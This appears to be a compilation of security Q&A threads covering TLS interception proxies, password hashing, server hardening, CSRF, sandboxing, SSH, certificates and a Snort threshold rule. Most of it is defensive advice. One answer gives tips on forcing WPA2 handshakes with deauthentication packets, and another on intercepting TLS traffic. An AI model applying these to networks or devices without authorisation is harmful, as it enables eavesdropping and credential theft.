Yes it is possible to do this even if the traffic is encrypted. Typically you will install the MITM proxy's certificate on the device and then the device will have no idea anything "bad" is happening. For example, you can perform this type of MITM with a Wifi Pineapple and Burp Suite as long as you install the Burp certificate on your device (which is straightforward).

You can also perform this kind of analysis (sniffing TLS-encrypted traffic) using a variety of other proxies, for example, Charles Proxy.

  If it is possible, how would one do this experiment in 2018?

This can be done in 2018 using one of the methods described above.


Slowing down repeated password attacks I've been reading suggestions to use time-consuming formulas for checking passwords from login attempts, so that repeated attacks will be slowed down.

Wouldn't it suffice to just sleep a bit in the function that does the password checking?

Simplified example:

function check_password($user) {
  usleep(1000);
  return crypt($_POST["password"], $user->password) == $user->password;
}

Slow hashing is meant to make the task harder for offline attackers, who could grab a copy of the database of hashed passwords. An offline attacker runs the hash function on his own machines. A delay on the server is good only against online attackers, who "try passwords" by sending requests to the honest server.

In practice you want both: some regulation mechanism to block online attackers (e.g. a delay, but preferably something a bit more complex to hinder attackers who try many passwords on many accounts in parallel), and a slow hashing (with salts) as a second line of defence, against attackers who could get a read-only view of the hashed passwords as stored on the server.


Who can actually see the password when I accidentally used ftp instead of sftp? It has been said that if we accidentally use ftp instead of sftp, people can actually see the login name and password in pure text form, and it is very bad.

But who can actually see it?  Will it be operators at large firms only?  Can any hobbyist at home with a broadband modem be able to see it?

I think I used ftp accidentally a few times instead of sftp over the past few years and there wasn't any security issue, until recently when I did it 2 months ago and then a couple of weeks ago, somebody seems to have logged into my DreamHost web panel and transferred my domain name to another registrar and then a week or two later, transfer again and tried to sell the domain name.

Traffic should be sniffed to get such thing. So the answer is

Someone in your local network
Local ISP
Hosting provider

However FTP can use TLS authentication which sends the login data encrypted.

It is better to contact hosting provider and place you bought the domain and  inform the issue.


BCrypt vs PBKDF2-SHA256 I read that LastPass uses PBKDF2-SHA256 for storing the Master Password hash, I wonder how this compares to BCrypt and why did they chose this, as SHA256 is a quick hash (probably compensated by PKDF2?).

I can tell you why we, 1Password, use PBKDF2 instead of a more modern successor. Quoting from the 1Password Security Design document,

  The choice of PBKDF2-HMAC-SHA256 as our slow hash is largely a function
  of there being (reasonably) efficient implementations available for all
  of our clients. While we could have used a more modern password hashing
  scheme, any advantage of doing so would have been lost by how slowly it
  would run within JavaScript in most web browsers.

  Because all of our key derivation is performed by the client (so that
  the server never needs to see the password) we are constrained in our
  choices by our least efficient client. The Makwa password hashing
  scheme\autocite{pornin:MAKWA}, however, is a possible road forward
  because it allows some of the computation to be passed to a server
  without revealing any secrets to that server.

Basically, we needed a slow KDF that would run efficiently in all clients, including our web client. And PBKDF2-H256 is the best that web crypto could offer.

I can't speak for LastPass, but I would suspect that their reasons are similar.

Slow hashing offers diminishing returns

While it would be nicer to move to a more modern slow hash, it is important to keep in mind that there are limits on what these can buy us. For example, if you have 100,000 rounds of PBKDF2, then to get the same strength increase to adding a randomly chosen digit to the end of your master password, you'd need to move to 1 million rounds. Maybe you are willing to wait a couple of seconds when unlocking your password manager, but you are also going to be sucking power from your battery on mobile devices.

So it is important to have a slow KDF, but we also reach a point where the effort should go into encouraging stronger master passwords. I wrote about this in Bcrypt is great but ...

I don't want to turn this into a sales pitch, but I should point out that as we've always understood the limits of slow hashing, we designed 1Password so that the data we hold on our servers is not vulnerable to such cracking. Our use of PBKDF2 (and the strength of your master password) is defends you if your encrypted 1Password data is stolen from your machines.

The mysterious future

I can't make any promises, but we are actively looking at WASM to get around these sorts of constraints. It turns out that there are challenges to safely integrating WebAssembly into web-apps and we haven't even begun any sort of performance testing.


How to secure a dedicated linux server running a LAMP stack for commercial E-commerce use To be more specific, I would like to get some help, either through a tutorial or through a book, on how to configure an apache server to run securely and minimize the risks for commercial use.

-Important to note, I am not asking how to install it or minimally configure it, as I have learned to do this. I would like to further this knowledge by getting help on where to look or how to configure it the way E-commerce websites would to keep it secure.

I do understand this may be vague, and so I will not be expecting an in-depth tutorial, but if I could get help or tips on where I should look. I have tried everywhere, but it all ends with just installing it, and minimally securing it for testing purposes.

This is really a pretty stinking huge question. Based on your chosen tags it looks like you're asking for guidance on a LAMP stack, so we'll focus on that. There are already a number of related hardening questions posted, so for some additional insights check out these questions:
MySQL Server Hardening
Hardening Linux Server
What are the best practices for hardening a php.ini file?
Apache Server Hardening

The specific techniques you take could depend highly on your environment and how your server will be used. Warning, this can take a lot of work in a test environment to build out and get done right. Followed by a lot of work to integrate into your production environment, and more importantly, business process.

First, however, check to see if your organization has any hardening policies, as those might be the most directly relevant. If not, depending on your role, this might be a great time to build them out. I would also recommend tackling each component separately from the bottom up.

The L
There are lots of good guides available to help you out. This list may or may not help you depending on your distribution.

Center for Internet Security Benchmarks - Distribution specific for the major flavors
CentOS Hardening HowTo - Follows closely to the CIS RHEL5 guide, but is a much easier read
NIST SP800-123 - Guide to General Server Security
NSA Hardening Factsheets - Not as recently updated as CIS, but still mostly applicable
Tiger - Live System Security Auditing Software

The A
Apache can be fun to secure.  I find it easier to harden the OS and maintain usability than either Apache or PHP.

Apache Server Hardening - This question on the IT Security sister site has lots of good information.
Center for Internet Security Benchmarks - Again, Apache benchmarks.
Apache Security Tips - Straight from the Apache project, it looks like it covers the basics
DISA Hardening Checklist - Checklist from the DoD Information Assurance guys

The M

Center for Internet Security Benchmarks - Again, but for MySQL benchmarks
OWASP MySQL Hardening
General Security Guidelines - Basic checklist from the project devs

The P
This runs headlong into the whole idea of Secure Programming Practices, which is an entire discipline of its own. SANS and OWASP have a ridiculous amount of information on the subject, so I won't try to replicate it here. I will focus on the runtime configuration and let your developers worry about the rest. Sometimes the 'P' in LAMP refers to Perl, but usually PHP. I am assuming the latter.

Hardening PHP - Some minor discussion, also on IT Security SE site.
Hardened PHP Project - Main project that produces Suhosin, an attempt to patch the PHP application to project against certain types of attacks.
Hardening PHP With Suhosin - A brief HowTo specifically for Suhosin
Hardening PHP from php.ini - Short, but not bad discussion on some of the security related runtime options


How could hackers get access to directory after hacking Wordpress at LinuxMint.com? I am sure many have seen the news of the hack at Linux Mint. The ISOs were changed on 20th Feb with backdoored ISOs.

They gained access via the LinuxMint Wordpress blog installation.

How could they have got access to the other directories on the server using just Wordpress? Could having Wordfence installed have stopped this?
http://freedompenguin.com/articles/news/lessons-linux-mint-hack/

Looks like was more a defacement: hackers changed the page with the downloads, pointing the links to another server where they hosted the tainted iso files. They didn't changed the iso files hosted on Mint servers:
A post on Mint Blog stats:

What happened?
Hackers made a modified Linux Mint ISO, with a backdoor in it, and managed to hack our website to point to it.


Securing iPads and laptops in an enterprise We have users in our organization who own iPads and we'd like to connect them to the network; however, if the users download and store sensitive data on the devices, that can pose a security issue. Is it possible to prevent users from storing any data on the device? In other words, they can connect to the network and read data but not store files on the iPad.

Also, we are considering implementing laptops for some users and have the same concerns with security as with iPads; these will be Windows 7 systems connecting via wired or wireless scenarios.

Your guidance is much appreciated. Thanks.

There are many applications that provide the functionality that you are looking for.

They are called 'Kiosk Stations' and can limit user access to the screen, disk and even system buttons (using an enclosure).

Find much more information here : www.ipadenclosures.com - directed towards a full enclosure solution.
If you like to have just a lockdowned machine - you can restrict some features using iPhone Configuration Utility here.


Authentication Certificates in Embedded System (Microcontroller) I have multiple IoT devices that will be connected to a cloud based platform in order to control these devices.

In order to have a proper security I´m thinking about using Authentication Certificates so that each IoT device is a trusted element in my system. The problem here is that I don´t really know much about this topic and I would like to know:

When is this Certificate needed to be generated? During production in FW load on the IoT device?
Can I generate using a specific application those certificates? Does it have to be done by a certified authority?
Once I´ve confirmed a IoT device is correctly signed by the CA and a secure channel is established, is there any additional need for this certificate?
In case the previous question is afirmative, is there a Expiry Date of these certificates? And would this imply in any costs?

When is this Certificate needed to be generated? During production in FW load on the IoT device?

Each individual device should generate its own certificate during initial setup, to prevent any other party from observing the private key.

  Can I generate using a specific application those certificates? Does it have to be done by a certified authority?

This first part depends on what your deployment target is, but since the most likely target is some form of Linux, you're looking at OpenSSL.  After the device generates its certificate, it wants to send what's known as a Certificate Signing Request (CSR) to your own issuing CA - this can be a completely self-signed chain (and not involve an external CA), but getting an intermediary issuing CA isn't difficult either (usually for things like subdomains).

  Once I´ve confirmed a IoT device is correctly signed by the CA and a secure channel is established, is there any additional need for this certificate?

You need the certificate every time you begin to authenticate/connect, after which (due to the way TLS works) it's exchanged for a symmetric key (that is, the certificate itself is no longer needed).  However, there's nothing to automatically "delete on connect" these certificates that I'm aware of, especially because you usually need them because of the very real likelyhood of service interruptions (which would require you to reconnect).

  In case the previous question is afirmative, is there a Expiry Date of these certificates? And would this imply in any costs?

Certificates have an expiry period.  Valid policy lengths depend on the issuer (whoever validates/signs the CSR), so if you're doing the issuing this can be whatever you want.  There would be no costs other than the extra processing time/bandwidth, plus access to the signing server.  Note that some microservice platforms do things like rotate certificates every week/day/hour.

You should also check the cloud platform for recommendation on IoT device setup, because this is going to be a really common topic.  For example, this topic in the Azure IoT documentation goes over at least some of this.


Hash user id securely In my app I'm using Facebook login and creating a local user in my DB after retrieving the data.

When saving the Facebook ID in the DB I need to hash it, as I don't want the ID to be in clear text if someone gets my DB data (I want to prevent, as much as possible, a way to connect the data to an actual person on Facebook).

The problem of course is, that I can't use random salt with my hash, as I won´t have a way to search my DB later on, when the user logs in.

So I thought about a few solutions, though none of them, in my opinion, is good enough:

Use same server salt for all hashes.
Encrypt the Facebook user_id instead of hashing.
Create dynamic salt as a function of the user_id -
something like:

  Hash(Hash(user_id) + user_id)

Is there a way to truly secure this scenario?

You're missing a threat model

I see two obvious threat, both involving being able to query your database. There surely are others (suggestions welcome):

A - An attacker stole your DB (and server salt) and wants to infer the Facebook IDs of all your users
B - An attacker knows the Facebook information of a specific user and wants to figure out if they exist in your DB (without breaking all its entries)
C - An attacker with exactly the same capabilities can also change the code running on your server, adding information stealers that will report the IDs/passwords of users as they log in over time

Let's now look into your proposals

  Use same server salt for all hashes.

This is still necessary to avoid pre-made rainbow tables, but indeed will only slow down any attack carried out for A or B. Make sure to combine with a slow hashing function to further increase the cost of finding your hashed IDs for A.

  Encrypt the Facebook user_id instead of hashing.

How do you decrypt your IDs when a user logs in? Surely the decryption key is stored somewhere. You could store the encryption/decryption key on a separate physical device, so that decryption attempts must take place on the server rather than truly offline, since the key can't be taken. There might also be systems that can alert you when a threshold of decryption requests is reached but this is not my area, I don't know if it exists (just note you can't rely on your server to do that because of the threat model; your server is fallen).

You could also store the salt in that device, and then in both cases the security is a factor of how long it takes an attacker to encrypt/hash a known user ID with  all possible keys/salts. I am not a crypto expert at all so I can't give any orders of magnitude on what's best to do but intuitively a crypto scheme with a large key is better (also probably more computationally expensive).

  Create dynamic salt as a function of the user_id - something like:

    Hash(Hash(user_id) + user_id)

Well, this is rather useless. If you want to complicate an attack for the A threat, then you need to ensure that the additional information is independent from the ID you hash. For instance, an email address or date of birth will vary from user to user, effectively increasing the input search space of your attacker. The B threat is completely unaffected since all the Facebook data is already available to your attacker.

Here it's hard to do something against B... If they know your hashing algorithm and can check if a specific hash is in your DB you can't do much. But again this is more likely the same capabilities as threat C, which is even more serious. Of course good hashing practice is important to slow down an offline bruteforce attack but you also need to consider the other issues you'll face in such a scenario. You should find out how to detect attacks and alert your customers that they might be phished or spammed because of a breach on your service (as a motivated attack will eventually have retrieved all the user IDs).


Are CSRF tokens useful outside of web APIs? I'm trying to understand CSRF tokens and one thing isn't making sense to me.

For a web API, you can provide a CSRF token just once, on authentication, and expect the client to remember that token (using local storage or some other means) throughout the course of its use of the application.  It can be submitted with every request so that we know those requests are genuine, as an attacker cannot know the token without the submitting the user's credentials.

In the browser/HTML, though, the recommendation is to include the CSRF token in a hidden form field.  In that scenario, though, the attacker's script can submit a GET request to get the form, grab the token from the response, and use it to submit a POST of the form (and potentially any other form they so desire).  Sure, they have to do two things instead of one, but it's still entirely possible as far as I can tell.

When this scenario is mentioned, the replies seem to be something like "you have to rely on the same-origin policy to prevent this."  But isn't the entire premise of using these CSRF tokens that we can't rely on the proper implementation of the same-origin policy in user agents?  If we're relying on the same-origin policy, why bother with CSRF tokens in hidden form fields in the first place?

You seem to misunderstand both the same-origin policy and CSRF.

The same-origin policy is crucial for any kind of browser security. It makes sure that client-side scripts from one website cannot access information from another site. Without this, we'd have much bigger problems than CSRF: Any website could read our e-mails with our webmail account (while we're logged in), make transactions with our PayPal account, buy products with our shop accounts etc.

So we have to rely on the same-origin policy. If it breaks down, we essentially lose all security, including the CSRF protection.

However, the same-origin policy alone isn't enough. An HTML form may very well point to a different site, so I could prepare a form on my site, use your site as the target and then wait for one of your users to submit the data. If you only check the session ID of the submitter and then accept the request, I've successfully performed a CSRF attack.

That's why we need anti-CSRF tokens: To prevent other websites from “forging” requests, we can, for example, establish a shared secret with the user and only accept form submissions which include this secret. Since the same-origin policy prevents other websites from reading this token, it's no longer possible for them to create a valid form. They don't know what to put into the token parameter.

In the context of web APIs, CSRF is generally not an issue. Automated clients usually send specific requests to specific URLs, so there's no way for an external website to jump in and trigger malicious requests. Maybe you're confusing CSRF tokens with authentication tokens? Those are two entirely different things.


Do cloud service providers offer insights on their security issues? Should someone want a highly secured cloud environment, having the whole infrastructure managed by a third party could be quite stressful I guess.

There are things you can't manage yourself in a cloud environment, like collecting every needed log everywhere, or controlling each security device.

Thus I wondered, do cloud host providers inform in real time some privileged customers of any  security  related event ? Do such services exists ?

That's the kind of thing which would be helpful for highly regulated environments, which must be compliant to a crap ton of different norms.

Those services absolutely do exist in the best Cloud platforms.

Microsoft's Azure, for example, not only has some of the best security (people processes, services and hardware) on the planet, they prove it by getting all manner of recognised security certifications. Azure has a number of services that allow you to monitor for events in real-time and they apply a number of machine learning techniques to help prevent information overload and only surface real issues.

It is hard to be more specific since there are so many services and each may require a slightly different approach. However, Microsoft are trying to centralise reporting and monitoring into a single event platform.

I'm not so familiar with other global Cloud platforms so I can't comment on those.

The other issue is that "cloud" means a lot of different things to different vendors. At the "low" end, it might just be some shared infrastructure - clearly security is going to be more of an issue there since, while you can very easily implement your own log aggregation and event management tools, the server and network hardware may be open to physical inspection. With the big global public Cloud providers, this is not an option since your data will be encrypted at rest and spread over multiple, random devices in the datacenter.

Obviously, it isn't possible to give specific answers without understanding how sensitive the data is and you absolutely must do a risk assessment on any cloud platform against the data and services you wish to run on it. But suffice it to say that there are many examples of regulated industries using global public Cloud infrastructure.


Should HSTS be declared on all assets, or just on HTML files? I am curious if the HSTS response header should be declared on every asset of a sitewide secure site, or just on the HTML pages? I imagine it should be included on all assets including all JS, CSS, PNG files but I'd appreciate your thoughts.

Since the policy of HSTS gets applied to the whole site it is enough that you sent it together with a resource which is definitely read by the client. This can be a HTML page, it can be an image, ...  as long as the client will definitely request this resource so that it knows the policy.


Can Whatsapp be MAC spoofed if the victim's device isn't on the same local network as the hacker's device? I realize that MAC addresses are only used to tell different devices apart if they are on the same local network. So, what if they're not? Is MAC spoofing in Whatsapp still possible? Even if the perpetrator obtained the confirmation code from my phone, would it be possible, to unverify my account in the process?

And what if they also tried spoofing the IP address? Would it eventually unverify the account on one of the devices once the IP address on either one of them changed and Whatsapp noticed there were two verified instances of one account at the same time?

I have no idea where you got your information, but let's start at the very beginning citing reputable sources as we go.

This youtube video shows the process for enrolling a new device in WhatsApp. Since WhatsApp is built on the same cryptography as the Signal app -- called the Signal Protocol (source), let's assume they do the same stuff inside (Signal is open source while WhatsApp is owned by Facebook, so easier to know what's going on in Signal).

Enrollment Steps:

Provide your mobile phone number.
The server sends you an SMS with a one-time activation code.
The device creates a cryptographic public key.
The server registers this public key against your phone number in a big database.

You are now enrolled. When your friend wants to send you an encrypted message, they ask the server for the public key(s) registered to your phone number, and they can start encrypting for you.

I've never used WhatsApp, but Signal lets you link as many devices as you want to your phone number. But there is a menu to unlink devices.

Nowhere in there does it use your IP or MAC addresses, so whichever friend told you that is probably not a reliable source for tech info.

It does however assume that you are the only person who can receive SMSes at your phone number, so if you lose your SIM card, or are paranoid about nation-states, then it's possible for someone to register a second device under your phone number, and then (if it works the same as Signal) unlink your first device. So don't lose your SIM card.


Secure PHP upload form & storage I am building a PHP application that allows uploads of files (.doc/pdf etc) for review by a staff member.
Some of these files will be somewhat confidential so I need to protect them.

Now the best solution would be to get the sender to encrypt these files with GPG or similar before uploading them and decrypt with a pre-shared key at the other end (on the staff computer, not on the web server).

However it is unrealistic to expect all of the customers to install and learn to use GPG in order to upload files.

So the best solution I can come up with is:

1) Do file uploads over HTTPS on a password protected page.

2) Encrypt files using asymmetric GPG and a public keyfile stored on the webserver.

3) Delete any unencrypted copies of the file in /tmp etc.

4) Send an email for staff notifying them that the file is available for download.

5) Staff member logs in and downloads file, server then deletes encrypted copy.

6) Staff member then decrypts file using their private key that is not stored on the webserver.

The idea here is that ever if the webserver is compromised (it is a dedicated server so not shared with others) the attacker will be unable to decrypt these files because they won't find the key there.

However: I think this is still vulnerable.

Because , if an attacker has root or even just control of the HTTP server user they will be able to read data from /tmp whilst the file is still being uploaded/encrypted and make an unencrypted copy which they can download later.

So perhaps I could do all of this in memory without writing to /tmp?
But there is still a risk here that the attacker could discover memory addresses that the data is written to by uploading a file themselves and then use ptrace
to inspect and copy those memory addresses.

I can't think of a way to fix this problem as I will need the data in plaintext in order to do the encryption. Is there a way in PHP to make the memory inspection harder? Or is there a third party web service that would be better to use for this?

So perhaps I could do all of this in memory without writing to /tmp? But there is still a risk here that the attacker could discover memory addresses that the data is written to by uploading a file themselves and then use ptrace to inspect and copy those memory addresses.

A properly installed SELinux configuration can mitigate the risks of a compromised machine by control of the application. Ultimately, you have to keep the machine secure.

  I can't think of a way to fix this problem as I will need the data in plaintext in order to do the encryption. Is there a way in PHP to make the memory inspection harder? Or is there a third party web service that would be better to use for this?

There's simply no way around the reality of having to have the incoming file in a cleartext state in memory at some point in the encryption process. Encrypting it in memory, however, is certainly the way to go.


is 'mysql_real_escape_string' enough Recently on stackoverflow I've seen many discussions that mysql_*_escape_string is deprecated and instead recommending PDO.
The way I've been doing it was to allow only letters and ' in the name field , allowing all the characters in the password field (but then hash it ) and then using mysql_real_escape_string to escape special characters. So I read about mysqli but as I see it is the same as mysql:

  Escapes a string of characters.

So what are the security issues in using mysql_* and not mysqli or PDO ?

If you use mysql_real_escape_string consistently every time you inject content into an SQL string literal, it's fine, there is no security issue.

However what time has taught us is that:

Catching every single place you inject into an SQL string literal is hard. In real world software unescaped cases are sometimes missed, even when the original coder understood SQL-escaping properly. Or raw injections are added later in maintenance. Or escaping is omitted where the coder thinks there is no possibility of special characters being in the string, but then later on something changes and that assumption no longer holds true.
Littering your queries with ...'.mysql_real_escape_string($value, $db).'... makes them tedious and difficult to read.
People still don't understand the encoding issue that real relates to, and consequently fail to set the charset in the right way (mysql_set_charset(), not bad SET NAMES).

We can spend the rest of time chasing these issues in code written with the mysql extension, or just push everyone to use parameterised queries instead, which work properly without requiring any deep understanding of string processing.


Is there a list of old browsers that only support TLS 1.0? I am looking to Block all old browsers that support only TLS 1.0.  Since TLS 1.0 is out of PCI Compliance, it is a safety measure that I want to take.  But I am having trouble finding a list of these old browsers.  Can anyone help?

I am having trouble finding a list [of old browsers that only support TLS 1.0]

Lists of browsers with specific features

Trouble finding a suitable list might be partly because such a list might be large, incomplete, frequently changing and might need to take account very large numbers of plugins and addons.

As Tripehound mentioned in a comment. A browser might not be on such a list because it has support for TLS 1.2 even if support for 1.1 and 1.2 is disabled by default. This makes relying on a list more risky.

Depending on what you are doing, you may not need a list of browsers (user agents?).

Predicting Impact of barring browsers that use TLS 1.0

If you need to work out how many of a server's customers rely on TLS 1.0 you can enable TLS version logging in Apache and probably in other webservers etc. After a suitable period (e.g. a week) you would have some good statistics about the number of customers affected.

Preventing use of insecure protocols by browsers

It is often possible to configure web-servers and other services to not support TLS 1.0 - thus blocking browsers that don't support more recent versions.


How much protection does sandbox software provide against malicious .exe? I need to review a large number of .exe game files. I recently had an incident where I got infected by an .exe that passed all my 'checks': virus scan, Virustotal, reviews, community feedback, uploader history, uploader motive.

Lacking any other ideas, sandbox software seems like a viable second defence to those checks. I was wondering if I was running an infected .exe if I would be safe from infection, or rather what degree of safety a sandbox software offers in these instances.

The simple answer is "it depends on the sandbox". Sandboxing is not a binary state. Every bit of code that isn't running in supervisor (ring 0) (or hypervisor/ring -1, where relevant) on the processor could be described as at least a little "sandboxed". User-mode admin code is a little sandboxed, user-mode non-admin code moreso, user-mode code running with specifically restricted permissions is what is most often meant by "sandboxed", but you can definitely get more restrictive still.

Lots of apps are distributed with sandboxes (for example, stuff from the Windows or Apple app stores are generally more sandboxed than apps simply downloaded from the web, although not necessarily very tightly sandboxed). If you want to be able to run arbitrary code, though, that obviously won't work. You could in theory package your games up in app-style sandboxes based on what capabilities you expect the processes to need - very little write access, some more read access, maybe certain network privileges, etc. - but this is a hassle and you risk the games not working because you failed to give them access to something they legitimately need. Also, app sandboxes aren't the most fine-grained things out there (most of them allow all network traffic, network client traffic only, or no network traffic, for example; if you want to block specific ports or something you'll need to use a different sandboxing system or just configure your firewall).

Your best bet is probably a fairly strict container, a VM, or a throw-away system. VMs are quite secure (at least, if you don't turn on "integration" features), but are harder to get data out of and also make it harder to run a lot of games (restricted access to the hardware). The hardware issue can be fixed by using a computer with nothing you care about on it - a throw-away setup - but those are more hassle to "reset" between tests (VMs can be simply rolled back). Containers (on supported platforms) can be made quite strict, though they're less inherently secure (they still talk to the same kernel as unsandboxed processes, so local EoP vulns can be used for sandbox escapes).

With all that said, in theory a properly-designed sandbox will provide adequate protection against anything a malicious program might do. "Properly designed" is doing a lot of work there, though; speaking as somebody who has found sandbox escapes both professionally and as a hobby, they're really hard to get right. Also, most sandboxes are going to struggle at least somewhat against really novel attacks. A large part of why Meltdown and Spectre were such a big deal is because they broke a lot of sandboxes (VMs, low-privilege processes, Javascript sandboxes, etc.).

It can also be a delicate balancing act to trade off security with functionality. A sandbox will sometimes limit the compute resources (CPU time, RAM, etc.) that a process can access, to prevent it from consuming all the computer's resources and effectively attacking every other process on the machine, but this is obviously incompatible with properly testing a game that really demands everything your machine has and will perform badly if it has to share compute resources.


How was Lulzsec caught? I saw that the leader connected to IRC without using TOR and they traced their IP address, but the identity of each member was supposed to be unknown to the others. So even if the leader was acting as an informant, how did the other people get caught?

http://americablog.com/2012/03/how-the-fbi-caught-lulzsec-hacker-sabu-and-what-that-says-about-the-fbi.html

Despite the fact these guys claimed to be 'anonymous', they were not actually anonymous and happily communicated in open environments (even if they were, for the most part, behind proxies etc). They all had handles associated with their identified. As a result, it was possible to slowly build up a profile and identify the suspects. One they correctly identified sabu, they flipped him and convinced him to coerce the others into providing information that would reveal them.

Some key failings as highlighted here as well as a fairly detailed writeup about it all:

  reusing "anonymous" usernames and variations on them for many years resulting in "bleeding" of his identity elements (ie. usernames,
  e-mail addresses, domain registration information) between different,
  supposedly-unrelated social media and online accounts;
  giving out too much personal information about his political/national affiliations/ethnicity;
  accidentally logging once or twice into IRC chat channels without first anonymizing through VPN or Tor proxies;
  mentioning in a chatroom a domain name he owned, whose whois status—i.e. its domain ownership information—had not always been set
  to private, and which once listed his real name and address,
  subsequently preserved on the Internet;
  On an Internet that forgets nothing, once a document is made publicly available, even if only briefly, it may be archived in
  perpetuity. One old clue to even one element of a still-in-use
  identity can be enough to take down even the most careful hacker.

Another presentation worth viewing which provides evidence used in the trials as excerpts here


Is there an IDS based on process patterns? After reading what Metasploit is able to do my grey hairs got even more.

From my understanding current attack methods are being done without tampering with any file in a filesystem - thus rendering file based HIDS useless.

So my idea was: What about the blacklist-approach? Is there an (OpenSource) IDS tool out there that just monitors what is going on in the system (e.g. looks at ps output) and sounds an alarm if something strange is going on there (e.g. a httpd child forking a shell)?

Whitelisting is considered good practice. Blacklisting is known to always be an "after the facts method" which leaves your system vulnerable. A bit of a linux admin can setup SELinux or Apparmor. There are a lot of docs and tutorials available about it. They are not extremely complex imo, you just need to be willing to learn it.

There are HIDS available like OSSEC that allow you to implement such rules (with some additional scripting). I use it on all my Linux machines as well, but it doesn't replace apparmor or SELinux even remotely.

It may sound a bit rude, but if you want security, you can't be lazy.


securing SSH connections I ask this for security purposes only (my website).
I use PuTTY to connect to my server through SSH, and today I found out it is pretty easy to attempt connection to my server; you simply type my address in the hostname field and you can go ahead and try to connect.

I got curious and tried this on many sites; some did allow me to attempt login, but with most I got connection refused or something of that sort. I even got their IP through ping and the result was the same. I would like to know how exactly are they(the admins) log into their servers? are some servers SSH-less? maybe there is a hidden IP that they use?

Most ssh servers these days should be configured to allow only public key based authentication, not password based authentication. Allowing password based authentication is seen by automatic scanner as an invitation to guess passwords.

Depending on your ssh server software version, you might be using outdated crypto. You should disable bad crypto and switch to ed25519 keys. The latest pre-release version of putty supports them.

You can use this scanner to check your server: discovery.cryptosense.com


How unsecure is entering personal information via the keypad when phone banking? A lot of banks I have dealt with require the customer to enter their customer number, internet banking password (or phone password) and date of birth all via the phone keypad, prior to being connected to a staff member. Each of these individual details are followed by the # symbol.

After entering these details, the customer can perform most actions (e.g. transfer money or change personal details) without any further verification procedures. Depending on which phone you use, these numbers remain on the screen for the remainder of the phone call.

Additionally, when transferring money via this method, the bank no longer requires 2-step authentication, unlike when transferring money via the banking app or website. This is the same regardless of whether you call from the number linked to the account, or an entirely different number.

This seems a lot less secure than using the bank app or website. But how much of a security threat does this present?

In the context of a smartphone - How easy would it be for malware/spyware/keyloggers to extract the numbers separated by the #, and therefore gain access to the associated bank account via phone banking?

Key loggers on smartphones do not carry the same risk as key loggers on PCs because of app sandboxing. That's not to say that it's not possible either by rooting the device, persuading the user to install a custom (malicious) keyboard or perhaps even side channel attacks.

You are highly unlikely to have this happen just by visiting a malicious website compared to visiting the same site on a less than perfectly patched PC.

Maybe your banks are less secure than mine, but in my experience you can only transfer money to people you have already set up as recipients via the keypad. Adding a new recipient requires a more extended authentication process.

Links

http://www.sciencedirect.com/science/article/pii/S1574119215002138

https://m.theregister.co.uk/2013/03/25/android_security_omnishambles/


Can't get handshake through de-authentication when penetration testing WiFi I am trying to pentest the security of my wireless network. It is configured as a WPA2 with pre-shared-key. I start capturing traffic in order to get a handshake and when I make a de-auth, the router changes the channel, so I can't get the handshake. Any workaround? Any idea? It is a Sercomm VOX 2.5 customized by Vodafone.

In general, de-auth packets are are part of normal AP to wireless client communications, so the AP can't just change channel on each de-auth packet.

Try to send a limited number of de-auth packets, if you're close enough to the AP, a packet or two will do the job nicely.

Edit:
From comments feedback, the problem was because of using scripts to automate several de-authentications, and it was solved by sending packets manually.


generate certificate at runtime and validate I have a project that require client application to register and then use the services. I would like to do the following:

A client app sends a request with IP, domain name, etc. to my REST service
The rest service creates a new certificate based on the parameters and then sends back to the app.
The application will then send the thumbprint of the certificate to prove it is genuine.
On receiving the certificate, I will use the server certificate which has private key to validate the received input.

I have been searching in the internet and only found that the certificate were created manually. Also, there was no way to generate a certificate on runtime

Please suggest the right practice. I am a .net developer.

You are proposing doing it backwards.  It doesn't do you any good to hold a private key on the server and hand out a public certificate to be used to validate the client.  Instead, you want the client to make a key pair and submit the certificate to the server to be stored.  The server can then use the certificate to generate a challenge for the client to prove they hold the private key for that client.

Don't invent your own security, it will not be secure.  The system you propose is broken and insecure as you described it as the public key is not designed for proof of identity, nor is simply sending the thumbprint a way to validate it.


What if an attacker gets access to public key through an insecure media in digital signature? If A encrpyts the message and creates signature using his private key and sends through the network then only B with the public key of A can decrypt that message.

But what if the attacker gets access to the public key of A and the encrypted message through the network?
Will he be able to decrypt the message?

Signature and encryption are entirely separate things although they use similar technologies to accomplish their goals.

Signature is used to verify the identity of sender. If attacker has access to A's private key, he could create fake messages that appear to originate from A.

Encryption is used to scramble a message so that only receiver can read it. Typically the sender A would use the public key of the receiver B to encrypt a message, not the other way around as your question suggests. The message is encrypted using the public key of B, and decrypted using the private key which only B has access to.

This way both encryption and signing can be safely accomplished even if attacker has both A's and B's public keys. They are called public keys because they can be safely given out, shared and published, and only private keys need to be protected.

Your question implies public and private keys are used incorrectly (wrong "direction), which might be possible in some weird system, but it wouldn't be secure, and the attacker would indeed be able to read the messages.

Done properly, the sender A would sign the message using his own private key, and encrypt the message using B's public key. Receiver B would then verify the identity of the sender using A's public key, and decrypt the message using his own private key.


Snort / PulledPork event filter via modifysid.conf not filtering traffic I'm using SecurityOnion with Snort/PulledPork/Snorby. I am getting multiple "ET POLICY Pandora Usage" alerts a minute for the same source and destination. I want to threshold these to get 1 alert per day per source.

The original rule:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET POLICY Pandora Usage"; flow:established,to_server; content:"POST"; http_method; content:"/radio/xmlrpc/"; http_uri; content:"pandora.com|0d 0a|"; http_header; threshold: type threshold, track by_src, count 1, seconds 3600; reference:url,www.pandora.com; classtype:policy-violation; sid:2014997; rev:1;)

I have edited modifysid.conf in etc/nsm/pulledpork/ to include this line: 2014997 "3600" "43200"

After rule-update, the rule now shows in etc/nsm/rules/downloaded.conf as:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET POLICY Pandora Usage"; flow:established,to_server; content:"POST"; http_method; content:"/radio/xmlrpc/"; http_uri; content:"pandora.com|0d 0a|"; http_header; threshold: type threshold, track by_src, count 1, second**s 86400; reference:url,www.pandora.com; classtype:policy-violation; sid:2014997; rev:1;)

This is even the correct alert that is pulled into Snorby as I review the rules. I even tried lowering seconds to a 12 hour timeframe.

Nothing has worked, I still get the same number of rules. Why is pulledpork/snort not using the threshold in the rule? What am I doing wrong?

Any help is appreciated, thanks.

Changed they type from "threshold" to "limit" and it seemed to help.


How does DTLS replace the transport encryption of TLS? I've been reading the RFC for DTLS over UDP, but can't seem to understand, how the transport encryption aspect of TLS was handled. It reads to me, like they just didn't bother, since there can be Datagrams lost.

Did I overlook, what they did instead?

